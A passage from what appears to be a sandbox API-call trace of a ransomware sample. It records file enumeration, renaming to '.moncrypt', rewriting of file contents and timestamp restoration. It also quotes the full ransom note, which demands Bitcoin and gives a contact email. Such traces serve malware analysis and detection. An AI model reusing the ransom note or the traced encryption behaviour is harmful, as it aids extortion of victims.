lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0050.066] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0050.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.066] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.066] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0050.066] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.066] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.066] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0050.066] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.067] ReadFile (in: hFile=0x190, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0050.067] CloseHandle (hObject=0x190) returned 1 [0050.067] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 1 [0050.067] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.067] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.067] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.067] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.067] GlobalUnlock (hMem=0x440004) returned 0 [0050.067] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.067] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.067] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.067] GlobalUnlock (hMem=0x440004) returned 0 [0050.067] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.067] GlobalUnlock (hMem=0x44000c) returned 0 [0050.067] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.067] CharLowerBuffW (in: lpsz="TIME.XML", cchLength=0x8 | out: lpsz="time.xml") returned 0x8 [0050.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0050.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", cchWideChar=76, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XMLp", lpUsedDefaultChar=0x0) returned 76 [0050.068] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0050.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\Smart Tag\\LISTS\\1033\\TIME.XMLp", lpUsedDefaultChar=0x0) returned 4 [0050.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0x54e280 [0050.068] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0050.068] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0050.068] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0050.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", dwFileAttributes=0x20) returned 1 [0050.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0050.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.moncrypt")) returned 1 [0050.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.070] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0050.070] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x2174 [0050.070] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0050.070] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x2174, lpOverlapped=0x0) returned 1 [0050.074] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.074] GlobalLock (hMem=0x440004) returned 0x559b88 [0050.074] GlobalHandle (pMem=0x559b88) returned 0x440004 [0050.074] GlobalUnlock (hMem=0x440004) returned 0 [0050.074] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.074] GlobalLock (hMem=0x440004) returned 0x559b88 [0050.074] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.074] GlobalUnlock (hMem=0x44000c) returned 0 [0050.074] GlobalHandle (pMem=0x559b88) returned 0x440004 [0050.074] GlobalUnlock (hMem=0x440004) returned 0 [0050.074] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.074] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.074] GlobalUnlock (hMem=0x440004) returned 0 [0050.074] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.075] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.075] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.075] GlobalUnlock (hMem=0x440004) returned 0 [0050.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.086] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0050.086] CloseHandle (hObject=0x190) returned 1 [0050.086] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0050.086] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.086] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.086] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.086] GlobalUnlock (hMem=0x440004) returned 0 [0050.087] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.087] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.087] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.087] GlobalUnlock (hMem=0x440004) returned 0 [0050.087] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.087] GlobalUnlock (hMem=0x44000c) returned 0 [0050.087] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.087] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0d57a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f0d57a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f0d57a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0050.087] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0050.087] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0050.087] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0050.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0050.087] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.087] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0050.087] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.087] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.087] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0050.087] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0050.088] ReadFile (in: hFile=0x190, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0050.088] CloseHandle (hObject=0x190) returned 1 [0050.088] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0050.088] GetLastError () returned 0x12 [0050.088] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.088] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.088] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.088] GlobalUnlock (hMem=0x44000c) returned 0 [0050.088] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.088] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.088] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.088] GlobalUnlock (hMem=0x44000c) returned 0 [0050.088] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.088] GlobalUnlock (hMem=0x440004) returned 0 [0050.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3f16dd20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f16dd20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0050.088] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0050.088] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.088] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.089] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.089] GlobalUnlock (hMem=0x440004) returned 0 [0050.089] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.089] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.089] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.089] GlobalUnlock (hMem=0x440004) returned 0 [0050.089] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.089] GlobalUnlock (hMem=0x44000c) returned 0 [0050.089] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.089] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3f16dd20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f16dd20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.089] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.089] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.089] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.089] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.089] GlobalUnlock (hMem=0x44000c) returned 0 [0050.089] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.089] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.089] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.089] GlobalUnlock (hMem=0x44000c) returned 0 [0050.089] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.089] GlobalUnlock (hMem=0x440004) returned 0 [0050.089] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.089] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x2395, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML.moncrypt", cAlternateFileName="DATESX~1.MON")) returned 1 [0050.089] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.089] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.089] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.089] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.089] GlobalUnlock (hMem=0x440004) returned 0 [0050.089] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.090] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.090] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.090] GlobalUnlock (hMem=0x440004) returned 0 [0050.090] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.090] GlobalUnlock (hMem=0x44000c) returned 0 [0050.090] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.090] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0d57a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f0d57a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f0d57a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.090] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.090] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.090] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.090] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.090] GlobalUnlock (hMem=0x44000c) returned 0 [0050.090] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.090] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.090] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.090] GlobalUnlock (hMem=0x44000c) returned 0 [0050.090] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.090] GlobalUnlock (hMem=0x440004) returned 0 [0050.090] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.090] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x7f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML.moncrypt", cAlternateFileName="PHONEX~1.MON")) returned 1 [0050.090] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.090] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.090] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.090] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.090] GlobalUnlock (hMem=0x440004) returned 0 [0050.090] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.090] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.090] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.090] GlobalUnlock (hMem=0x440004) returned 0 [0050.090] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.091] GlobalUnlock (hMem=0x44000c) returned 0 [0050.091] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.091] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x992e, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT.moncrypt", cAlternateFileName="STOCKS~1.MON")) returned 1 [0050.091] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0050.091] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0050.091] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.091] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.091] GlobalUnlock (hMem=0x44000c) returned 0 [0050.091] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.091] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.091] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.091] GlobalUnlock (hMem=0x44000c) returned 0 [0050.091] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.091] GlobalUnlock 